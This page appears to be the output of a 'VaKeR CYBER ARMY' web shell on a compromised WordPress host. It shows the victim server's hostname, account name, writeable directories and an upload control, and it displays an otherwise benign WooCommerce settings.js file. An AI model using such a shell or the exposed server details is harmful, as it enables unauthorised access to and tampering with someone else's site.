VaKeR CYBER ARMY
Logo of a company Server : Apache
System : Linux host44.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : vapecompany ( 2719)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/vapecompany/www/product/wp-content/plugins/woocommerce/assets/js/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/vapecompany/www/product/wp-content/plugins/woocommerce/assets/js/admin/settings.js
jQuery(window).load(function(){

	// Countries
	jQuery('select#woocommerce_allowed_countries, select#woocommerce_ship_to_countries').change(function(){
		if (jQuery(this).val()=="specific") {
			jQuery(this).parent().parent().next('tr').show();
		} else {
			jQuery(this).parent().parent().next('tr').hide();
		}
	}).change();

	// Color picker
	jQuery('.colorpick').iris( {
		change: function(event, ui){
			jQuery(this).css( { backgroundColor: ui.color.toString() } );
		},
		hide: true,
		border: true
	} ).each( function() {
		jQuery(this).css( { backgroundColor: jQuery(this).val() } );
	})
	.click(function(){
		jQuery('.iris-picker').hide();
		jQuery(this).closest('.color_box, td').find('.iris-picker').show();
	});

	jQuery('body').click(function() {
		jQuery('.iris-picker').hide();
	});

	jQuery('.color_box, .colorpick').click(function(event){
	    event.stopPropagation();
	});

	// Edit prompt
	jQuery(function(){
		var changed = false;

		jQuery('input, textarea, select, checkbox').change(function(){
			changed = true;
		});

		jQuery('.woo-nav-tab-wrapper a').click(function(){
			if (changed) {
				window.onbeforeunload = function() {
				    return woocommerce_settings_params.i18n_nav_warning;
				}
			} else {
				window.onbeforeunload = '';
			}
		});

		jQuery('.submit input').click(function(){
			window.onbeforeunload = '';
		});
	});

	// Sorting
	jQuery('table.wc_gateways tbody, table.wc_shipping tbody').sortable({
		items:'tr',
		cursor:'move',
		axis:'y',
		handle: 'td',
		scrollSensitivity:40,
		helper:function(e,ui){
			ui.children().each(function(){
				jQuery(this).width(jQuery(this).width());
			});
			ui.css('left', '0');
			return ui;
		},
		start:function(event,ui){
			ui.item.css('background-color','#f6f6f6');
		},
		stop:function(event,ui){
			ui.item.removeAttr('style');
		}
	});

	// Select all/none
	jQuery( '.woocommerce' ).on( 'click', '.select_all', function() {
		jQuery(this).closest( 'td' ).find( 'select option' ).attr( "selected", "selected" );
		jQuery(this).closest( 'td' ).find('select').trigger( 'change' );
		return false;
	});

	jQuery( '.woocommerce' ).on( 'click', '.select_none', function() {
		jQuery(this).closest( 'td' ).find( 'select option' ).removeAttr( "selected" );
		jQuery(this).closest( 'td' ).find('select').trigger( 'change' );
		return false;
	});
});

VaKeR 2022